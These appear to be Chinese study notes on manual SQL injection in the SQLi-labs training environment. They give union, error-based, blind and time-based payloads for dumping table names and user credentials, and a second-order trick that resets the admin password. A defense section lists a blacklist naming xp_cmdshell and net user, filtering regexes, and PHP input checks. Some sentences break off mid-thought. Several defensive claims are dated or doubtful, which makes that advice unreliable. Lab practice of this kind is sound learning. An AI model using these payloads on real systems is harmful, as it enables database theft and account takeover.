SQLi-labs 手工注入學習
Less-1:union聯(lián)合查詢注入頁面提示:Please input the ID as parameter with numeric value 我們首先構(gòu)造id參數(shù)值: http://192.168.2.198/sqli-labs-master/Less-1/?id=1' or 1=1--+ 確定存在注入點,,并猜測SQL語句為: select [字段] from [表] where [id]="$id"; 猜解列數(shù):
order by * union select 1,2,…… 爆表:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
上段~將數(shù)據(jù)庫中的所有表名拼接成一個字符串返回 爆字段:union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' --+ 爆數(shù)據(jù):union select 1,group_concat(id,0x7e,email_id),3 from emails --+ Less-1:報錯注入爆表:and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))=1 --+
參數(shù)XML:String格式,,為XML文檔對象得名稱 參數(shù)XPath:xpath格式得字符串 因為我們在xpath輸入的不是要求的xpath格式的字符串,,所以函數(shù)會報錯返回xpath參數(shù)內(nèi)容 xpath會被帶入mysql進行執(zhí)行操作,發(fā)現(xiàn)不是xpath格式,,但是只有在執(zhí)行后才會發(fā)現(xiàn),,就會執(zhí)行 爆字段:and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))=1 --+ 爆數(shù)據(jù):and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)))=1 --+ 從返回的結(jié)果發(fā)現(xiàn)問題,,沒有顯示全部的字段信息;可以利用篩選過濾條件來 and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from users where username not in ('Dumb','Angelina'))))=1 --+ 利用條件where約束來過濾掉我們已知的字段信息,,于是mysql在執(zhí)行的時候就會越過Dumb和Angelina信息,,顯示后面的信息……以此類推!我們就可以通過不斷的條件繞過回顯的模式來獲取所有內(nèi)容,!在很多情況下我們發(fā)現(xiàn)無法完全回顯內(nèi)容,,都可以利用這個方法來繞過已知字段信息 Less-2通過判斷注入點的語句,判斷注入點為數(shù)字型注入點: ?id=1 and 1=1 --+ #判斷數(shù)字型注入點 ?id=1' and 1=1 --+ #判斷字符型注入點 union聯(lián)合注入爆表:?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ 報錯注入報表:?id=0 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ Less2的具體攻擊方法和Less1一樣,,不同的是Less2是數(shù)字型注入,,不需要單引號閉合 Less-3判斷注入點 從報錯信息顯示,我們的id—value寫在SQL語句的括號中,,換言之就是,,這條SQL語句缺少一個右括號~ 確定注入點和方法策略后按照Less1/2的方法UNION/報錯注入方法 Less-4判斷注入點 ?id=1 ?id=1' ?id=1') ?id=1" # 報錯…… ^ 我們的ID值會放在SQL語句中,且被 ?id=1") --+ 手工盲注按照這回顯,,可以認為這是一處盲注…… SQL盲注點 ~~ UNION聯(lián)合(回顯)查詢的方法就不可以了…… 基于布爾的盲注?id=1' and left(version(),1)='5' --+
只有當 通過猜解的方式,,利用left的方法猜解數(shù)據(jù)庫的版本信息第一個字符(環(huán)境是Mysql 5.1,所以版本信息第一個字符是'5’)由此推演,,我們可以利用布爾的判斷特性來猜解數(shù)據(jù)庫名…… 如上~ 如果我們不斷的對目標進行猜解,,就可以得到數(shù)據(jù)庫名的第一個字符,以此類推第二個字符……第N個字符,;數(shù)據(jù)庫名的長度也可以通過 牢記布爾盲注的特點:只有當 ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 # ascii(substr((select database()),1,1))=98
基于報錯的盲注XPath報錯注入: ?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+ ?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0x7e) --+ 基于時間的盲注主要思路就是利用時間延遲來判斷布爾條件是否達成,,本質(zhì)上是利用時間延遲來進行布爾和報錯盲注的判斷依據(jù)條件,;用于沒有任何回顯信息的時候使用~ If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判斷語句, 條件為假,, ?id=1' and if(ascii(substr(database(),1,1))=96,1,sleep(10)) --+
從報錯結(jié)果中,,看出注釋符應該被禁了……而且從報錯結(jié)果認定布爾和報錯注入是不可舉的!??! 于者乎……時間盲注是最優(yōu)選擇~~~ 當然了……還有在這里說一說文件的導入于導出的方法: Less-24 二次排序*- 借鑒sqli-labs-24 分析環(huán)境文件:
login.php中使用了
在 數(shù)據(jù)會被完整的記錄在數(shù)據(jù)庫中 數(shù)據(jù)庫中有了我們的“小玩意”之后…… 登錄我們的賬戶,,因為我們的賬戶是以 前端提交user和pass后,會在修改密碼頁面修改密碼 就這樣我們成功的修改了admin的密碼,!為啥呢,? Sql 語句變?yōu)?UPDATE users SET passwd=”New_Pass” WHERE username =’ admin’ # ' AND password=’ 也 就 是 執(zhí) 行 了 UPDATE users SET passwd=”New_Pass” WHERE sername =’admin’ 利用注冊的admin’# 修改密碼時候從數(shù)據(jù)庫提取該數(shù)據(jù) 造成了數(shù)據(jù) 命令拼接 注入漏洞可以做哪些?SQL注入可以做什么,?如果從一個普通人的角度看,,第一想起的就是“萬能密碼”即通過構(gòu)造SQL注入語句繞過密碼驗證。
SQL注入防御策略
過濾敏感字符將常用的SQL注入字符寫入到黑名單中,,然后通過程序?qū)τ脩籼峤坏腜OST、GET請求以及請求中的各個字段都進行過濾檢查,,篩選威脅字符,。 # 部分敏感字符和字符串 delete from|from|count\(|drop table|update|truncate|mid\(|char\(|xp_cmdshell|exec master|netlocalgroup administrators|net user|[\{|\}|!|\'] # 前端處理 var str = "select * from table where id=123"; var reg = /(.*?((select)|(from)|(count)|(delete)|(update)|(drop)|(truncate)).*?){2,}/i; return(reg.test(str)); 在字符過濾方面,通常過濾空格,、括號,、引號……等特殊字符,但是這些可以繞過的: 舉例:過濾空格 限制查詢長度由于SQL注入過程中需要構(gòu)造較長的SQL語句,,因此,一些特定的程序可以使用限制用戶提交的請求內(nèi)容的長度來達到防御SQL注入的目的,,但這種效果并不好,。 // 接收參數(shù)text if(isset($_GET['text']) && strlen($_GET['text']) < 10){ $text=$_GET['text']; } else { echo "輸入內(nèi)容不符規(guī)范"; } 設(shè)置數(shù)據(jù)庫權(quán)限根據(jù)程序要求為特定的表設(shè)置特定的權(quán)限,如:某段程序?qū)δ潮碇恍杈邆鋝elect權(quán)限即可,,這樣即使程序存在問題,,惡意用戶也無法對表進行update或insert等寫入操作。 限制目錄權(quán)限WEB目錄應至少遵循“可寫目錄不可執(zhí)行,,可執(zhí)行目錄不可寫”的原則,,在次基礎(chǔ)上,對各目錄進行必要的權(quán)限細化,。 限制數(shù)據(jù)類型因為PHP語言沒有嚴格的限制數(shù)據(jù)類型的定義例如:“ID=1 就默認ID為Intger ,; name=kk 默認name為string”在PHP的弱類型管理中這是不安全的。 舉例: // 接收參數(shù)text if(isset($_GET['text'])){ $text=$_GET['text']; } // 拼接sql語句并執(zhí)行 $sql="SELECT * FROM admin WHERE uid='$text' LIMIT 0,1"; echo 'SQL拼接結(jié)果:'.$sql; echo '<hr>'; // 執(zhí)行sql語句并返回結(jié)果 $result=mysqli_query($conn, $sql); 這里的text參數(shù)沒有限制我們的輸入,,理論上我們的輸入應該限制為“Intger”,;當text接到 這里可以使用
if(isset($_GET['text']) && is_numeric($_GET['text'])){ $text=$_GET['text']; } else { echo "輸入內(nèi)容不符規(guī)范"; }
if(isset($_GET['text']) && ctype_digit($_GET['text'])){ $text=$_GET['text']; } else { echo "輸入內(nèi)容不符規(guī)范"; } 缺陷: 這里只可以有效的預防數(shù)字型的注入點,而String類型的注入點此方法則無效,。 限制特殊字符在字符型注入點,,任何惡意的SQL攻擊都會包含一些特殊的字符,例如空格、括號,、引號……等,。如果存在敏感的特殊字符,需要使用字符轉(zhuǎn)義,。
function safe_replace($string) { $string = str_replace('%20', '', $string); $string = str_replace('%27', '', $string); $string = str_replace('%2527', '', $string); $string = str_replace('*', '', $string); $string = str_replace('"', '"', $string); $string = str_replace("'", '', $string); $string = str_replace('"', '', $string); $string = str_replace(';', '', $string); $string = str_replace('<', '<', $string); $string = str_replace('>', '>', $string); $string = str_replace("{", '', $string); $string = str_replace('}', '', $string); …… …… …… …… return $string; }
對一些例如單引號、雙引號,、反斜杠等特殊字符添加一個反斜杠以確保在查詢這些數(shù)據(jù)之前,用戶提供的輸入是干凈的,。但要注意,,你是在連接數(shù)據(jù)庫的前提下使用這個函數(shù)。
這個函數(shù)的原理跟mysql_real_escape_string()相似,。但是當在php.ini文件中,,“magic_quotes_gpc“的值是“on”的時候,就不要使用這個函數(shù),。magic_quotes_gpc 的默認值是on,,對所有的 GET、POST 和 COOKIE 數(shù)據(jù)自動運行 addslashes(),。不要對已經(jīng)被 magic_quotes_gpc 轉(zhuǎn)義過的字符串使用 addslashes(),,因為這樣會導致雙層轉(zhuǎn)義。你可以使用get_magic_quotes_gpc()函數(shù)來確定它是否開啟,。
這個函數(shù)對于過濾用戶輸入的數(shù)據(jù)非常有用,。它會將一些特殊字符轉(zhuǎn)換為HTML實體。例如,,用戶輸入<時,,就會被該函數(shù)轉(zhuǎn)化為HTML實體<(<),輸入>就被轉(zhuǎn)為實體>.(HTML實體對照表:http://www.w3school.com.cn/html/html_entities.asp),,可以防止XSS和SQL注入攻擊,。
在HTML中,一些特定字符有特殊的含義,,如果要保持字符原來的含義,,就應該轉(zhuǎn)換為HTML實體。這個函數(shù)會返回轉(zhuǎn)換后的字符串,,例如'&’ (ampersand) 轉(zhuǎn)為’&'(ps:請參照第三點中的實體對照表鏈接)
這個函數(shù)可以去除字符串中所有的HTML,,JavaScript和PHP標簽,當然你也可以通過設(shè)置該函數(shù)的第二個參數(shù),,讓一些特定的標簽出現(xiàn),。
|
|